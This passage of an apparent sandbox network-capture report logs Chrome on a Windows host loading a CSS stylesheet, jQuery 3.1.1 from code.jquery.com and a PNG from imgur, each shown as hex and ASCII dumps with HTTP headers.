20 20 20 20 20 20 20 20 2d 6d 73 2d 66 6c 65 78 2d 70 72 65 66 65 72 72 Data Ascii: d { -ms-flex-wrap: nowrap; flex-wrap: nowrap } .navbar-expand .navbar-collapse { display: -webkit-box !important; display: -ms-flexbox !important; display: flex !important; -ms-flex-preferr
2025-03-10 19:51:30 UTC	16384	IN	Data Raw: 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 65 39 65 63 65 66 3b 0d 0a 20 20 20 20 20 20 20 20 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 2e 33 72 65 6d 0d 0a 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 40 6d 65 64 69 61 20 28 6d 69 6e 2d 77 69 64 74 68 3a 35 37 36 70 78 29 20 7b 0d 0a 20 20 20 20 20 20 20 20 2e 6a 75 6d 62 6f 74 72 6f 6e 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 34 72 65 6d 20 32 72 65 6d 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 2e 6a 75 6d 62 6f 74 72 6f 6e 2d 66 6c 75 69 64 20 7b 0d 0a 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 20 30 3b 0d 0a 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 20 30 3b Data Ascii: background-color: #e9ecef; border-radius: .3rem } @media (min-width:576px) { .jumbotron { padding: 4rem 2rem } } .jumbotron-fluid { padding-right: 0; padding-left: 0;
2025-03-10 19:51:30 UTC	16384	IN	Data Raw: 74 5e 3d 72 69 67 68 74 5d 20 2e 61 72 72 6f 77 2c 0d 0a 20 20 20 20 2e 62 73 2d 74 6f 6f 6c 74 69 70 2d 72 69 67 68 74 20 2e 61 72 72 6f 77 20 7b 0d 0a 20 20 20 20 20 20 20 20 6c 65 66 74 3a 20 30 3b 0d 0a 20 20 20 20 20 20 20 20 77 69 64 74 68 3a 20 2e 34 72 65 6d 3b 0d 0a 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3a 20 2e 38 72 65 6d 0d 0a 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 2e 62 73 2d 74 6f 6f 6c 74 69 70 2d 61 75 74 6f 5b 78 2d 70 6c 61 63 65 6d 65 6e 74 5e 3d 72 69 67 68 74 5d 20 2e 61 72 72 6f 77 3a 3a 62 65 66 6f 72 65 2c 0d 0a 20 20 20 20 2e 62 73 2d 74 6f 6f 6c 74 69 70 2d 72 69 67 68 74 20 2e 61 72 72 6f 77 3a 3a 62 65 66 6f 72 65 20 7b 0d 0a 20 20 20 20 20 20 20 20 72 69 67 68 74 3a 20 30 3b 0d 0a 20 20 20 20 20 20 20 20 62 6f 72 64 65 72 Data Ascii: t^=right] .arrow, .bs-tooltip-right .arrow { left: 0; width: .4rem; height: .8rem } .bs-tooltip-auto[x-placement^=right] .arrow::before, .bs-tooltip-right .arrow::before { right: 0; border

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49729	151.101.2.137	443	7024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-10 19:51:37 UTC	539	OUT	GET /jquery-3.1.1.min.js HTTP/1.1 Host: code.jquery.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-10 19:51:38 UTC	613	IN	HTTP/1.1 200 OK Connection: close Content-Length: 86709 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-152b5" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Age: 2870529 Date: Mon, 10 Mar 2025 19:51:37 GMT X-Served-By: cache-lga21947-LGA, cache-pdk-kpdk1780124-PDK X-Cache: HIT, HIT X-Cache-Hits: 6620, 0 X-Timer: S1741636298.814733,VS0,VE1 Vary: Accept-Encoding
2025-03-10 19:51:38 UTC	1378	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 31 2e 31 20 7c 20 28 63 29 20 6a 51 75 65 72 79 20 46 6f 75 6e 64 61 74 69 6f 6e 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 61 2e 64 6f 63 75 6d 65 6e 74 3f 62 28 61 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 21 61 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 65 72 79 20 72 65 71 75 69 72 65 73 20 61 20 77 69 6e 64 6f 77 20 77 Data Ascii: /! jQuery v3.1.1 \| (c) jQuery Foundation \| jquery.org/license /!function(a,b){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window w
2025-03-10 19:51:38 UTC	1378	IN	Data Raw: 3e 3d 30 26 26 63 3c 62 3f 5b 74 68 69 73 5b 63 5d 5d 3a 5b 5d 29 7d 2c 65 6e 64 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 72 65 76 4f 62 6a 65 63 74 7c 7c 74 68 69 73 2e 63 6f 6e 73 74 72 75 63 74 6f 72 28 29 7d 2c 70 75 73 68 3a 68 2c 73 6f 72 74 3a 63 2e 73 6f 72 74 2c 73 70 6c 69 63 65 3a 63 2e 73 70 6c 69 63 65 7d 2c 72 2e 65 78 74 65 6e 64 3d 72 2e 66 6e 2e 65 78 74 65 6e 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 61 2c 62 2c 63 2c 64 2c 65 2c 66 2c 67 3d 61 72 67 75 6d 65 6e 74 73 5b 30 5d 7c 7c 7b 7d 2c 68 3d 31 2c 69 3d 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 2c 6a 3d 21 31 3b 66 6f 72 28 22 62 6f 6f 6c 65 61 6e 22 3d 3d 74 79 70 65 6f 66 20 67 26 26 28 6a 3d 67 2c 67 3d 61 72 67 75 6d 65 6e 74 73 Data Ascii: >=0&&c<b?[this[c]]:[])},end:function(){return this.prevObject\|\|this.constructor()},push:h,sort:c.sort,splice:c.splice},r.extend=r.fn.extend=function(){var a,b,c,d,e,f,g=arguments[0]\|\|{},h=1,i=arguments.length,j=!1;for("boolean"==typeof g&&(j=g,g=arguments
2025-03-10 19:51:38 UTC	1378	IN	Data Raw: 6e 20 61 2e 6e 6f 64 65 4e 61 6d 65 26 26 61 2e 6e 6f 64 65 4e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3d 3d 3d 62 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 7d 2c 65 61 63 68 3a 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 76 61 72 20 63 2c 64 3d 30 3b 69 66 28 77 28 61 29 29 7b 66 6f 72 28 63 3d 61 2e 6c 65 6e 67 74 68 3b 64 3c 63 3b 64 2b 2b 29 69 66 28 62 2e 63 61 6c 6c 28 61 5b 64 5d 2c 64 2c 61 5b 64 5d 29 3d 3d 3d 21 31 29 62 72 65 61 6b 7d 65 6c 73 65 20 66 6f 72 28 64 20 69 6e 20 61 29 69 66 28 62 2e 63 61 6c 6c 28 61 5b 64 5d 2c 64 2c 61 5b 64 5d 29 3d 3d 3d 21 31 29 62 72 65 61 6b 3b 72 65 74 75 72 6e 20 61 7d 2c 74 72 69 6d 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 3d 3d 61 3f 22 22 3a 28 61 2b 22 22 29 2e Data Ascii: n a.nodeName&&a.nodeName.toLowerCase()===b.toLowerCase()},each:function(a,b){var c,d=0;if(w(a)){for(c=a.length;d<c;d++)if(b.call(a[d],d,a[d])===!1)break}else for(d in a)if(b.call(a[d],d,a[d])===!1)break;return a},trim:function(a){return null==a?"":(a+"").
2025-03-10 19:51:38 UTC	1378	IN	Data Raw: 61 72 72 61 79 22 3d 3d 3d 63 7c 7c 30 3d 3d 3d 62 7c 7c 22 6e 75 6d 62 65 72 22 3d 3d 74 79 70 65 6f 66 20 62 26 26 62 3e 30 26 26 62 2d 31 20 69 6e 20 61 29 7d 76 61 72 20 78 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 2c 63 2c 64 2c 65 2c 66 2c 67 2c 68 2c 69 2c 6a 2c 6b 2c 6c 2c 6d 2c 6e 2c 6f 2c 70 2c 71 2c 72 2c 73 2c 74 2c 75 3d 22 73 69 7a 7a 6c 65 22 2b 31 2a 6e 65 77 20 44 61 74 65 2c 76 3d 61 2e 64 6f 63 75 6d 65 6e 74 2c 77 3d 30 2c 78 3d 30 2c 79 3d 68 61 28 29 2c 7a 3d 68 61 28 29 2c 41 3d 68 61 28 29 2c 42 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 61 3d 3d 3d 62 26 26 28 6c 3d 21 30 29 2c 30 7d 2c 43 3d 7b 7d 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2c 44 3d 5b 5d 2c 45 3d 44 2e 70 6f 70 2c 46 3d 44 2e Data Ascii: array"===c\|\|0===b\|\|"number"==typeof b&&b>0&&b-1 in a)}var x=function(a){var b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u="sizzle"+1*new Date,v=a.document,w=0,x=0,y=ha(),z=ha(),A=ha(),B=function(a,b){return a===b&&(l=!0),0},C={}.hasOwnProperty,D=[],E=D.pop,F=D.
2025-03-10 19:51:38 UTC	1378	IN	Data Raw: 70 28 22 5e 22 2b 4b 2b 22 2a 5b 3e 2b 7e 5d 7c 3a 28 65 76 65 6e 7c 6f 64 64 7c 65 71 7c 67 74 7c 6c 74 7c 6e 74 68 7c 66 69 72 73 74 7c 6c 61 73 74 29 28 3f 3a 5c 5c 28 22 2b 4b 2b 22 2a 28 28 3f 3a 2d 5c 5c 64 29 3f 5c 5c 64 2a 29 22 2b 4b 2b 22 2a 5c 5c 29 7c 29 28 3f 3d 5b 5e 2d 5d 7c 24 29 22 2c 22 69 22 29 7d 2c 57 3d 2f 5e 28 3f 3a 69 6e 70 75 74 7c 73 65 6c 65 63 74 7c 74 65 78 74 61 72 65 61 7c 62 75 74 74 6f 6e 29 24 2f 69 2c 58 3d 2f 5e 68 5c 64 24 2f 69 2c 59 3d 2f 5e 5b 5e 7b 5d 2b 5c 7b 5c 73 2a 5c 5b 6e 61 74 69 76 65 20 5c 77 2f 2c 5a 3d 2f 5e 28 3f 3a 23 28 5b 5c 77 2d 5d 2b 29 7c 28 5c 77 2b 29 7c 5c 2e 28 5b 5c 77 2d 5d 2b 29 29 24 2f 2c 24 3d 2f 5b 2b 7e 5d 2f 2c 5f 3d 6e 65 77 20 52 65 67 45 78 70 28 22 5c 5c 5c 5c 28 5b 5c 5c 64 61 Data Ascii: p("^"+K+"[>+~]\|:(even\|odd\|eq\|gt\|lt\|nth\|first\|last)(?:\$"+K+"((?:-\\d)?\\d)"+K+"\$\|)(?=[^-]\|$)","i")},W=/^(?:input\|select\|textarea\|button)$/i,X=/^h\d$/i,Y=/^[^{]+\{\s*\[native \w/,Z=/^(?:#([\w-]+)\|(\w+)\|\.([\w-]+))$/,$=/[+~]/,_=new RegExp("\\\\([\\da
2025-03-10 19:51:38 UTC	1378	IN	Data Raw: 5b 33 5d 29 26 26 63 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 43 6c 61 73 73 4e 61 6d 65 26 26 62 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 43 6c 61 73 73 4e 61 6d 65 29 72 65 74 75 72 6e 20 47 2e 61 70 70 6c 79 28 64 2c 62 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 43 6c 61 73 73 4e 61 6d 65 28 66 29 29 2c 64 7d 69 66 28 63 2e 71 73 61 26 26 21 41 5b 61 2b 22 20 22 5d 26 26 28 21 71 7c 7c 21 71 2e 74 65 73 74 28 61 29 29 29 7b 69 66 28 31 21 3d 3d 77 29 73 3d 62 2c 72 3d 61 3b 65 6c 73 65 20 69 66 28 22 6f 62 6a 65 63 74 22 21 3d 3d 62 2e 6e 6f 64 65 4e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 29 7b 28 6b 3d 62 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 69 64 22 29 29 3f 6b 3d 6b 2e 72 65 70 6c 61 63 65 28 62 61 2c 63 61 29 3a 62 2e 73 65 74 Data Ascii: [3])&&c.getElementsByClassName&&b.getElementsByClassName)return G.apply(d,b.getElementsByClassName(f)),d}if(c.qsa&&!A[a+" "]&&(!q\|\|!q.test(a))){if(1!==w)s=b,r=a;else if("object"!==b.nodeName.toLowerCase()){(k=b.getAttribute("id"))?k=k.replace(ba,ca):b.set
2025-03-10 19:51:38 UTC	1378	IN	Data Raw: 65 2e 64 69 73 61 62 6c 65 64 3d 3d 3d 61 3a 62 2e 64 69 73 61 62 6c 65 64 3d 3d 3d 61 3a 62 2e 69 73 44 69 73 61 62 6c 65 64 3d 3d 3d 61 7c 7c 62 2e 69 73 44 69 73 61 62 6c 65 64 21 3d 3d 21 61 26 26 65 61 28 62 29 3d 3d 3d 61 3a 62 2e 64 69 73 61 62 6c 65 64 3d 3d 3d 61 3a 22 6c 61 62 65 6c 22 69 6e 20 62 26 26 62 2e 64 69 73 61 62 6c 65 64 3d 3d 3d 61 7d 7d 66 75 6e 63 74 69 6f 6e 20 70 61 28 61 29 7b 72 65 74 75 72 6e 20 69 61 28 66 75 6e 63 74 69 6f 6e 28 62 29 7b 72 65 74 75 72 6e 20 62 3d 2b 62 2c 69 61 28 66 75 6e 63 74 69 6f 6e 28 63 2c 64 29 7b 76 61 72 20 65 2c 66 3d 61 28 5b 5d 2c 63 2e 6c 65 6e 67 74 68 2c 62 29 2c 67 3d 66 2e 6c 65 6e 67 74 68 3b 77 68 69 6c 65 28 67 2d 2d 29 63 5b 65 3d 66 5b 67 5d 5d 26 26 28 63 5b 65 5d 3d 21 28 64 5b 65 Data Ascii: e.disabled===a:b.disabled===a:b.isDisabled===a\|\|b.isDisabled!==!a&&ea(b)===a:b.disabled===a:"label"in b&&b.disabled===a}}function pa(a){return ia(function(b){return b=+b,ia(function(c,d){var e,f=a([],c.length,b),g=f.length;while(g--)c[e=f[g]]&&(c[e]=!(d[e
2025-03-10 19:51:38 UTC	1378	IN	Data Raw: 6e 20 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 63 3d 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 61 2e 67 65 74 41 74 74 72 69 62 75 74 65 4e 6f 64 65 26 26 61 2e 67 65 74 41 74 74 72 69 62 75 74 65 4e 6f 64 65 28 22 69 64 22 29 3b 72 65 74 75 72 6e 20 63 26 26 63 2e 76 61 6c 75 65 3d 3d 3d 62 7d 7d 2c 64 2e 66 69 6e 64 2e 49 44 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 62 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 26 26 70 29 7b 76 61 72 20 63 2c 64 2c 65 2c 66 3d 62 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 61 29 3b 69 66 28 66 29 7b 69 66 28 63 3d 66 2e 67 65 74 41 74 74 72 69 62 75 74 65 4e 6f 64 65 28 22 69 64 22 29 2c 63 26 26 63 2e 76 61 6c 75 65 Data Ascii: n function(a){var c="undefined"!=typeof a.getAttributeNode&&a.getAttributeNode("id");return c&&c.value===b}},d.find.ID=function(a,b){if("undefined"!=typeof b.getElementById&&p){var c,d,e,f=b.getElementById(a);if(f){if(c=f.getAttributeNode("id"),c&&c.value
2025-03-10 19:51:38 UTC	1378	IN	Data Raw: 62 6c 65 64 3d 27 64 69 73 61 62 6c 65 64 27 3e 3c 2f 61 3e 3c 73 65 6c 65 63 74 20 64 69 73 61 62 6c 65 64 3d 27 64 69 73 61 62 6c 65 64 27 3e 3c 6f 70 74 69 6f 6e 2f 3e 3c 2f 73 65 6c 65 63 74 3e 22 3b 76 61 72 20 62 3d 6e 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 69 6e 70 75 74 22 29 3b 62 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 74 79 70 65 22 2c 22 68 69 64 64 65 6e 22 29 2c 61 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 62 29 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 6e 61 6d 65 22 2c 22 44 22 29 2c 61 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 5b 6e 61 6d 65 3d 64 5d 22 29 2e 6c 65 6e 67 74 68 26 26 71 2e 70 75 73 68 28 22 6e 61 6d 65 22 2b 4b 2b 22 2a 5b 2a 5e 24 7c 21 7e 5d 3f 3d 22 29 2c 32 21 3d 3d 61 2e 71 75 65 72 79 53 Data Ascii: bled='disabled'></a><select disabled='disabled'><option/></select>";var b=n.createElement("input");b.setAttribute("type","hidden"),a.appendChild(b).setAttribute("name","D"),a.querySelectorAll("[name=d]").length&&q.push("name"+K+"[^$\|!~]?="),2!==a.queryS
2025-03-10 19:51:38 UTC	1378	IN	Data Raw: 44 6f 63 75 6d 65 6e 74 3d 3d 3d 76 26 26 74 28 76 2c 62 29 3f 31 3a 6b 3f 49 28 6b 2c 61 29 2d 49 28 6b 2c 62 29 3a 30 3a 34 26 64 3f 2d 31 3a 31 29 7d 3a 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 69 66 28 61 3d 3d 3d 62 29 72 65 74 75 72 6e 20 6c 3d 21 30 2c 30 3b 76 61 72 20 63 2c 64 3d 30 2c 65 3d 61 2e 70 61 72 65 6e 74 4e 6f 64 65 2c 66 3d 62 2e 70 61 72 65 6e 74 4e 6f 64 65 2c 67 3d 5b 61 5d 2c 68 3d 5b 62 5d 3b 69 66 28 21 65 7c 7c 21 66 29 72 65 74 75 72 6e 20 61 3d 3d 3d 6e 3f 2d 31 3a 62 3d 3d 3d 6e 3f 31 3a 65 3f 2d 31 3a 66 3f 31 3a 6b 3f 49 28 6b 2c 61 29 2d 49 28 6b 2c 62 29 3a 30 3b 69 66 28 65 3d 3d 3d 66 29 72 65 74 75 72 6e 20 6c 61 28 61 2c 62 29 3b 63 3d 61 3b 77 68 69 6c 65 28 63 3d 63 2e 70 61 72 65 6e 74 4e 6f 64 65 29 67 2e 75 6e Data Ascii: Document===v&&t(v,b)?1:k?I(k,a)-I(k,b):0:4&d?-1:1)}:function(a,b){if(a===b)return l=!0,0;var c,d=0,e=a.parentNode,f=b.parentNode,g=[a],h=[b];if(!e\|\|!f)return a===n?-1:b===n?1:e?-1:f?1:k?I(k,a)-I(k,b):0;if(e===f)return la(a,b);c=a;while(c=c.parentNode)g.un

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49737	199.232.192.193	443	7024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-10 19:51:41 UTC	587	OUT	GET /0HdPsKK.png HTTP/1.1 Host: i.imgur.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-10 19:51:41 UTC	760	IN	HTTP/1.1 200 OK Connection: close Content-Length: 5579 Content-Type: image/png Last-Modified: Thu, 20 Feb 2025 02:14:56 GMT ETag: "28a8812c3aaf8af83ba5c83c58750528" x-amz-server-side-encryption: AES256 X-Amz-Cf-Pop: IAD89-P1 X-Amz-Cf-Id: YYTlmwzZRLqXoGXppDaHC3Gtdw92u8SHfCwF9eVUy31VA6g75HGzNw== cache-control: public, max-age=31536000 Accept-Ranges: bytes Age: 1339358 Date: Mon, 10 Mar 2025 19:51:41 GMT X-Served-By: cache-iad-kcgs7200129-IAD, cache-pdk-kfty8610074-PDK X-Cache: Miss from cloudfront, HIT, HIT X-Cache-Hits: 24, 0 X-Timer: S1741636301.417979,VS0,VE2 Strict-Transport-Security: max-age=300 Access-Control-Allow-Methods: GET, OPTIONS Access-Control-Allow-Origin: * Server: cat factory 1.0 X-Content-Type-Options: nosniff
2025-03-10 19:51:41 UTC	1371	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 00 00 00 00 55 08 06 00 00 00 a6 46 3a 96 00 00 15 92 49 44 41 54 78 9c ec 9d 0b 94 5b 55 bd ff bf bf 73 92 4c 87 4e 0b 14 da 22 85 ce b4 50 40 d4 5a 44 84 76 48 ce 49 67 0a 88 2f a4 88 8a 02 ca fa 03 fe 51 c1 85 02 2e 04 9a b2 00 29 78 e1 e2 c5 07 57 91 87 d6 8b 08 f5 a2 82 80 b4 d9 c9 cc 14 aa 94 87 0f b4 0a a5 14 4a 6b a9 d4 76 66 3a d3 49 72 7e 77 9d 24 33 ce 24 fb 24 27 cf 33 e9 ec cf 5a b3 26 d9 cf ef 49 b2 7f fb bd b7 0f 0a c5 04 a1 ef c6 39 33 91 e4 d3 99 71 1a 33 e6 10 61 0a c0 53 19 98 4a a0 96 7f 87 e4 1d 0c fc 8e 40 bf d7 60 3d 9b 0a a4 9e 9e 7a f5 96 7f 7a a9 bd 56 90 d7 02 14 8a 5a 32 70 c3 9c d6 64 d2 ba 08 a0 0f 01 78 6f 05 49 fd 01 b0 1e 06 f0 d0 94 c8 e6 97 aa 28 d1 53 94 01 50 ec Data Ascii: PNGIHDRUF:IDATx[UsLN"P@ZDvHIg/Q.)xWJkvf:Ir~w$3$$'3Z&I93q3aSJ@`=zzVZ2pdxoI(SP
2025-03-10 19:51:41 UTC	1371	IN	Data Raw: 34 f9 e0 31 ce b4 df 3b 6a 97 27 e1 a4 a1 ff 35 22 40 ec ba e2 41 15 0a 17 ec 5e d6 7a 35 11 be 61 ff 74 bd d6 d2 28 d0 7e 07 a2 f9 bc 95 d0 66 4a 06 e8 53 7b 91 78 ec 4c 20 59 bb 9b c3 fc 9c 3c 82 96 76 6f 2c 14 46 b5 00 14 05 e9 bd be cd 80 85 fb 01 cc f6 5a 4b 23 a1 1d 7c 04 9a 3f 7b 1f 68 ff 59 f2 00 7a 13 f4 a3 3e 8d d4 4b 77 d7 4c c3 10 e9 37 03 38 bb 50 18 35 08 a8 70 a4 2f d2 7a 0e 2c 7e 4a 15 fe d2 f0 7f e0 3c ec 77 f1 a3 ce 85 3f 0b cd fb 24 68 c6 09 35 d3 41 8c a5 fc ab c5 05 45 28 03 a0 90 b2 3b d2 b6 82 41 2b 01 52 ad 44 17 50 cb 74 f8 17 5d 84 c9 5f 5e 83 a6 0f 2e 07 7c 4d c5 e3 68 7e f8 da 6f 81 36 e7 63 35 12 45 5a 22 91 ba bc 60 90 da e4 ac 68 64 fa 96 b7 5d c6 8c ff f4 5a 47 4d b0 0b a6 a6 03 a4 a7 2f 1a a2 e1 d7 9a 96 fd 6f bf d7 d2 ff Data Ascii: 41;j'5"@A^z5at(~fJS{xL Y<vo,FZK#\|?{hYz>KwL78P5p/z,~J<w?$h5AE(;A+RDPt]_^.\|Mh~o6c5EZ"`hd]ZGM/o
2025-03-10 19:51:41 UTC	1371	IN	Data Raw: fa a6 69 7e 4b 08 51 93 93 32 42 a1 d0 22 22 ac c8 3d fc 9a 08 f6 e7 54 b6 01 20 c2 25 00 bd ab 48 98 31 0d 6c c3 30 77 12 e1 16 21 c4 cd 2e b3 69 a9 e4 fb 20 42 3f 80 3c 03 60 18 e1 eb 00 1c d1 dc dc bc 33 1c 0e ff 66 4c 17 20 14 0a cd 63 a6 f5 44 da 2d 00 1d 50 3c 13 5a a2 69 78 c4 34 cd 7b ca 15 5a 6d 4c d3 bc 9d 48 8b 3b 15 fe b1 d0 c1 00 dd 69 9a e1 67 82 c1 60 0d 2f 6c af 17 e9 e7 f9 8c a6 f1 6a c3 30 9f ec e8 e8 70 bc 12 6a 22 a0 69 da 97 e5 3e 74 b0 69 9a e7 d7 53 0b 11 1d 08 d0 37 0d 23 1c eb ec ec dc bf 9e 79 0f 63 18 c6 12 66 7a 06 e0 29 cc 34 c3 6e dd 8f 18 80 70 38 7c 3c 91 b6 9e 08 c7 96 9e 34 7d ce 30 c2 45 b7 3e 31 53 4d ef 21 30 4d f3 71 80 be 52 46 d4 13 75 5d 7f 6e f1 e2 c5 ad c5 02 32 b3 f4 19 9c dc 8b f9 d5 0a db 38 a7 52 a9 67 3b 3a Data Ascii: i~KQ2B""=T %H1l0w!.i B?<`3fL cD-P<Zix4{ZmLH;ig`/lj0pj"i>tiS7#ycfz)4np8\|<4}0E>1SM!0MqRFu]n28Rg;:
2025-03-10 19:51:41 UTC	1371	IN	Data Raw: e9 af 37 3e 22 6c 01 c6 4e 01 12 e1 7d c1 60 70 7a 57 57 97 b4 70 95 0b 33 51 0d 96 02 49 8f 5e 65 e6 25 00 d6 15 8a 18 0c 06 df 41 44 ef c9 75 27 42 a1 2f c7 69 d9 aa a3 c1 91 75 b3 b2 1a 77 15 d2 e7 44 21 63 e3 34 b7 cd 4c af 95 93 97 3b 3d e3 63 11 10 91 f6 c5 5c 37 66 fc c1 b2 ac 79 a6 69 ce cb 3a 49 47 fc 75 5d bf 14 40 91 be 75 35 e0 fb 84 10 05 c7 d7 90 5d 08 a4 eb d2 ad 3a 1b 8a 4f b9 f2 a0 5b 35 3e 66 ea 22 c2 82 5c 0f 5d d7 bf 0a c0 51 a8 69 9a 2d cc f8 1b 51 7e 6b 61 60 60 cf fe eb d6 ad ab d7 65 68 4f c9 9d e9 0b ed ed ed 77 f4 f4 f4 f4 3a 45 d4 75 5d ba 70 89 d9 f9 98 6c 22 da 29 5f ce a4 1d 59 40 e3 09 32 47 cb b2 a4 f7 b5 55 06 fd 87 dc dd 72 f8 9c 8a e1 66 1d 00 ff a3 bc b4 ab 47 38 1c 5e ca 8c 59 b9 ee 44 98 0f 50 b4 78 0a 74 7e 47 47 c7 Data Ascii: 7>"lN}`pzWWp3QI^e%ADu'B/iuwD!c4L;=c\7fyi:IGu]@u5]:O[5>f"\]Qi-Q~ka``ehOw:Eu]pl")_Y@2GUrfG8^YDPxt~GG
2025-03-10 19:51:41 UTC	95	IN	Data Raw: 4b b7 97 77 74 74 cc 4c a5 52 3f c9 f7 e1 bc 01 38 19 42 88 87 4c d3 8c e4 0f 6c 51 c1 c1 59 66 7c 57 72 26 a0 54 63 2c 16 5d 66 9a 66 22 b7 ac 11 01 93 26 4d 3a 56 b6 79 0b 99 59 80 de 0a 3e af 51 69 14 e6 ff 02 00 00 ff ff 5a 98 a3 a9 0f 7b c2 43 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: KwttLR?8BLlQYf\|Wr&Tc,]ff"&M:VyY>QiZ{CIENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49736	199.232.192.193	443	7024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
